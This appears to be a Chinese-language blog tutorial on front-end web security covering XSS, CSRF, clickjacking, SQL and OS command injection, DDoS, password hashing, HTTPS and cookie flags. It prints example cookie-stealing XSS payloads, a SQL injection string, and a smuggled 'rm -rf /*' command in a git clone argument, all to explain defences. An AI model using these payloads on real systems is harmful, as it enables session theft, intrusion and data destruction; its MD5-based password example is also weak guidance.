前端安全

125 阅读10分钟

常见Web攻击

1、XSS

XSS(Cross-Site Scripting), 跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指恶意攻击者往Web页面里插入恶意脚本代码, 当用户浏览该页之时,浏览器运⾏⾮法的HTML标签或JavaScript 进⾏的⼀种攻击。

XSS攻击分类

  • 反射型 - url参数直接注⼊
// 普通
http://localhost:3000/?from=china

// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>

// 获取Cookie 
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script>
// 有人就说这么明显谁会点击呢?
// 那么我们可以伪装一下,短域名伪造 https://dwz.cn/

// 伪造Cookie入侵,登录进入
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjox NTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
  • 存储型 - 存储到DB后读取时注入
// 评论 
<script>alert(1)</script>

// 跨站脚本注⼊ 我来了
我来了<script src="http://localhost:4000/hack.js"></script>

XSS攻击的危害:

  • 获取⻚⾯数据
  • 利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
  • 劫持前端逻辑
  • 发送请求
  • 偷取⽹站的任意数据

防范手段

  • ejs (模板引擎)转义⼩知识

<% code %>⽤于执⾏其中javascript代码;

<%= code %>会对code进⾏html转义

<%- code %>将不会进⾏转义

  • HEAD
ctx.set('X-XSS-Protection', 1) // 启用XSS过滤
// http://localhost:3000/?from= 可以拦截 但伪装短域名就不行了

0 禁止XSS过滤
1 启⽤XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻击,浏览器将清除⻚⾯(删除 不安全的部分)

  • CSP

内容安全策略 (CSP, Content Security Policy) 是⼀个附加的安全层,⽤于帮助检测和缓解 某些类型的攻击,包括跨站脚本 (XSS) 和数据注⼊等攻击。 这些攻击可⽤于实现从数据窃 取到⽹站破坏或作为恶意软件分发版本等⽤途。

CSP 本质上就是建⽴⽩名单,开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们 只需要配置规则,如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少 XSS 攻击

// 只允许加载本站资源
Content-Security-Policy:  default-src 'self'

// 只允许加载 https 协议图片
Content-Security-Policy:  img-src https://*

// 不允许加载任何来源框架
Content-Security-Policy:  child-src 'none'
  • 转义字符(黑名单转义: 哪些不想让显示,危险的转义 白名单转义:除了可以让显示的,其他的转义)

⽤户的输⼊永远不可信任的,最普遍的做法就是转义输⼊输出的内容,对于引号、尖括号、斜 杠进⾏转义

function escape(str) {
    str = str.replace(/&/g, '&amp;')
    str = str.replace(/</g, '&lt;')
    str = str.replace(/>/g, '&gt;')
    str = str.replace(/"/g, '&quot;')
    str = str.replace(/'/g, '&#39;')
    str = str.replace(/`/g, '&#96;')
    str = str.replace(/\//g, '&#x2F;')
    return str
}

富⽂本来说,显然不能通过上⾯的办法来转义所有字符,因为这样会把需要的格式也过滤掉。 对于这种情况,通常采⽤⽩名单过滤的办法,当然也可以通过⿊名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使⽤⽩名单的⽅式

const xss = require('xss')
let html = xss('<h1 id="title">XSS DOM</h1><script>alert(1)</script>')
  • HttpOnly Cookie

这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应⽤程序在设置cookie时,将其属性设为HttpOnly,就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取,保护⽤户cookie信息

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

2、CSRF

CSRF(Cross Site Request Forgery),即跨站请求伪造,是⼀种常⻅的Web攻击,它利⽤⽤户已登录的身份,在⽤户毫不知情的情况下,以⽤户的名义完成⾮法操作

  • ⽤户已经登录了站点 A,并在本地记录了 cookie
  • 在⽤户没有登出站点 A 的情况下(也就是 cookie ⽣效的情况下),访问了恶意攻击者提供的引诱危险站点 B
  • 站点 A 没有做任何 CSRF 防御
登录 http://localhost:4000/csrf.html

CSRF攻击危害

  • 利⽤⽤户登录态
  • ⽤户不知
  • 完成业务请求
  • 盗取⽤户资⾦(转账,消费)
  • 冒充⽤户发帖背锅
  • 损害⽹站声誉

防御

  • 禁⽌第三⽅⽹站带Cookie:有兼容性问题
  • Referer Check: Https不发送referer
// HTTP Referer是[header]的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
// 我们可以在中间件中做判断处理
app.use(async (ctx, next) => {
    await next()
    const referer = ctx.request.header.referer
    console.log('Referer:', referer)

})
  • 验证码
在一些重要操作前加验证

3、点击劫持 - clickjacking

点击劫持是⼀种视觉欺骗的攻击⼿段。攻击者将需要攻击的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃ ⼰的⽹⻚中,并将 iframe 设置为透明,在⻚⾯中透出⼀个按钮诱导⽤户点击

// 登录 
http://localhost:4000/clickjacking.html

防御

  • X-FRAME-OPTIONS

X-FRAME-OPTIONS 是⼀个 HTTP 响应头,在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头 就是为了防御⽤ iframe 嵌套的点击劫持攻击

该响应头有三个值可选,分别是

DENY,表示⻚⾯不允许通过 iframe 的⽅式展示
SAMEORIGIN,表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示
ALLOW-FROM,表示⻚⾯可以在指定来源的 iframe 中展示

ctx.set('X-FRAME-OPTIONS', 'DENY')
  • js方式
<head>
  <style id="click-jack">
  html {
  display: none !important;
  }
  </style>
</head>
<body>
 <script>
 if (self == top) {
 var style = document.getElementById('click-jack')
 document.body.removeChild(style)
 } else {
 top.location = self.location
 }
 </script>
</body

以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时,攻击者的⽹⻚直接不显示所有内容了

4、SQL注⼊

// 通过请求传参直接拼接sql
SELECT * FROM test.user WHERE username = 'laowang' AND password = ${ctx.request.body.pwd}

// 加入pwd为特殊字符
1'or'1'='1
// 拼接后的SQL
SELECT * FROM test.user WHERE username = 'laowang' AND password = '1'or'1'='1'

防御

  • 所有的查询语句建议使⽤数据库提供的参数化查询接⼝**,参数化的语句使⽤参数⽽不是将⽤户 输⼊变量嵌⼊到 SQL 语句中,即不要直接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query ⽅法中的 ? 占位参数、使用escape()对传入参数进行编码等
  • 严格限制Web应⽤的数据库的操作权限**,给此⽤户提供仅仅能够满⾜其⼯作的最低权限,从⽽ 最⼤限度的减少注⼊攻击对数据库的危害
  • 后端代码检查输⼊的数据是否符合预期**,严格限制变量的类型,例如使⽤正则表达式进⾏⼀些 匹配处理
  • 对进⼊数据库的特殊字符(',",\,<,>,&,*,; 等)进⾏转义处理,或编码转换**。基本上 所有的后端语⾔都有对字符串进⾏转义处理的⽅法,⽐如 lodash 的 lodash._escapehtmlchar 库

5、OS命令注⼊

OS命令注⼊和SQL注⼊差不多,只不过SQL注⼊是针对数据库的,⽽OS命令注⼊是针对操作系统的。 OS命令注⼊攻击指通过Web应⽤,执⾏⾮法的操作系统命令达到攻击的⽬的。只要在能调⽤Shell函数 的地⽅就有存在被攻击的⻛险。倘若调⽤Shell时存在疏漏,就可以执⾏插⼊的⾮法命令。

// 以 Node.js 为例,假如在接⼝中需要从 github 下载⽤户指定的 
repo const exec = require('mz/child_process').exec; 
let params = {/* ⽤户输⼊的参数 */}; 
exec(`git clone ${params.repo} /some/path`);

如果传⼊的参数是会怎样

https://github.com/xx/xx.git && rm -rf /* &&

6、请求劫持

  • DNS劫持 顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期 的ip
  • HTTP劫持 运营商劫持,此时⼤概只能升级HTTPS了

7、DDOS (distributed denial of service)

www.ruanyifeng.com/blog/2018/0… 阮⼀峰

DDOS 不是⼀种攻击,⽽是⼀⼤类攻击的总称。它有⼏⼗种类型,新的攻击⽅法还在不断发明出来。 ⽹站运⾏的各个环节,都可以是攻击⽬标。只要把⼀个环节攻破,使得整个流程跑不起来,就达到了 瘫痪服务的⽬的。

其中,⽐较常⻅的⼀种攻击是 cc 攻击。它就是简单粗暴地送来⼤量正常的请求,超出服务器的最⼤承 受量,导致宕机。我遭遇的就是 cc 攻击,最多的时候全世界⼤概20多个 IP 地址轮流发出请求,每个 地址的请求量在每秒200次~300次。我看访问⽇志的时候,就觉得那些请求像洪⽔⼀样涌来,⼀眨眼 就是⼀⼤堆,⼏分钟的时间,⽇志⽂件的体积就⼤了100MB。说实话,这只能算⼩攻击,但是我的个 ⼈⽹站没有任何防护,服务器还是跟其他⼈共享的,这种流量⼀来⽴刻就下线了。

防御⼿段

  • 备份⽹站 备份⽹站不⼀定是全功能的,如果能做到全静态浏览,就能满⾜需求。最低限度应该可以显示公 告,告诉⽤户,⽹站出了问题,正在全⼒抢修
  • HTTP 请求的拦截 硬件 服务器 防⽕墙
  • 带宽扩容 + CDN 提⾼犯罪成本

防御手段

1、密码安全

  • 泄密渠道
数据库被偷、服务器被入侵、通讯被窃听、内部人员泄密、其他网站(撞库)
  • 防御手段
严禁明文存储、单向变换、变换复杂度要求、密码复杂度要求、加盐(防拆解)
  • 常用密码加密算法 - 哈希算法 (hash算法又称摘要算法常见有:MD5 sha1 sha256)
明文和密文一一对应;雪崩效应(明文小幅度变化,密文剧烈变化);密文到明文无法反推;密文固定长度;
  • 确保密码传输安全
使用https传输、频次限制、
哈希算法虽然无法反推但如果密码简单可进行穷举;由于常用口令的MD5值很容易被计算出来,所以,要确保存储的用户口令不是那些已经被计算出来的常用口令的MD5,这一方法通过对原始口令加一个复杂字符串来实现,俗称“加盐”:
const crypto = require('crypto')
const hash = (type, str) => crypto.createHash(type).update(str).digest('hex')
const md5 = str => hash('md5',str)
const sha1 = str => hash('sha1',str)
const encryptPassword = (salt, password) => md5(salt + 'abced@#4@%#$7' + password)
const psw = '11111'
console.log('md5', md5(psw))
console.log('sha1', sha1(psw))

2、⼈机验证与验证码

前端验证码身是不安全的可以获取
https://github.com/Hibear/verify

image.png

滑动验证码实现原理 1、服务端随机⽣成抠图和带有抠图阴影的背景图⽚,服务端保存随机抠图位置坐标; 2、前端实现滑动交互,将抠图拼在抠图阴影之上,获取到⽤户滑动距离值; 3、前端将⽤户滑动距离值传⼊服务端,服务端校验误差是否在容许范围内;

备注说明:单纯校验⽤户滑动距离是最基本的校验,处于更⾼安全考虑,可以考虑⽤户滑动整个轨迹、 ⽤户在当前⻚⾯上的⾏为等,可以将其细化复杂地步,可以根据实际情况设计。亦或借助⽤户⾏为数据分 析模型,最终的⽬标都是增加⾮法的模拟和绕过的难度。

3、HTTPS

HTTPS组成:http + ssl层

https 和密码学 www.cnblogs.com/hai-blog/p/…

浏览器如何验证SSL证书 wemedia.ifeng.com/70345206/we…

SSH公钥登录原理 www.cnblogs.com/scofi/p/661…

HTTPS加密原理介绍 www.techug.com/post/https-…)

SSL证书分类 blog.csdn.net/TrustAsia/a…

HTTP的弱点

image.png

// 查看需要经过的节点
traceroute www.baidu.com
tracert www.baidu.com
  • 使用http会有哪些不好?
窃听密码敏感信息;篡改(插⼊⼴告 重定向到其他⽹站(JS 和 Head头))

时代趋势

  • ⽬前全球互联⽹正在从HTTP向HTTPS的⼤迁移
  • Chrome和⽕狐浏览器将对不采⽤HTTPS
  • 加密的⽹站提示不安全
  • 苹果要求所有APP通信都必须采⽤HTTPS加密
  • ⼩程序强制要求服务器端使⽤HTTPS请求

https特点

保密性 (防泄密)、完整性(防篡改)、真实性(防假冒)

4、helmet中间件

前面我们讲到一些安全性的问题的方式方法都会在header上加一些安全性的标记,像这种普遍性的安全性问题一定是会有一个框架来解决的 ---- helmet

[ˈhelmɪt] 头盔 
https://www.npmjs.com/package/koa-helmet
// npm i koa-helmet -s

const Koa = require('koa');
const helmet = require('koa-helmet');
const app = new Koa();

app.use(helmet());

app.use((ctx) => {
    ctx.body = "Hello World"
})
Strict-Transport-Security:强制使⽤安全连接(SSL/TLS之上的HTTPS)来连接到服务器。
X-Frame-Options:提供对于“点击劫持”的保护。 
X-XSS-Protection:开启⼤多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。
X-Content-Type-Options: 防⽌浏览器使⽤MIME-sniffing来确定响应的类型,转⽽使⽤明确的 content-type来确定。 
Content-Security-Policy:防⽌受到跨站脚本攻击以及其他跨站注⼊攻击。

5、Session管理

对于cookie的安全使⽤,其重要性是不⾔⽽喻的。特别是对于动态的web应⽤,在如HTTP这样的⽆状 态协议的之上,它们需要使⽤cookie来维持状态

Cookie标示:
- secure - 这个属性告诉浏览器,仅在请求是通过HTTPS传输时,才传递cookie。
- HttpOnly - 设置这个属性将禁⽌ javascript 脚本获取到这个cookie,这可以⽤来帮助防 ⽌跨站脚本攻击。
Cookie域:
- domain - 这个属性⽤来⽐较请求URL中服务端的域名。如果域名匹配成功,或这是其⼦域 名,则继续检查 path 属性
- path - 除了域名,cookie可⽤的URL路径也可以被指定。当域名和路径都匹配时,cookie才 会随请求发送。
- expires - 这个属性⽤来设置持久化的cookie,当设置了它之后,cookie在指定的时间到达 之前都不会过期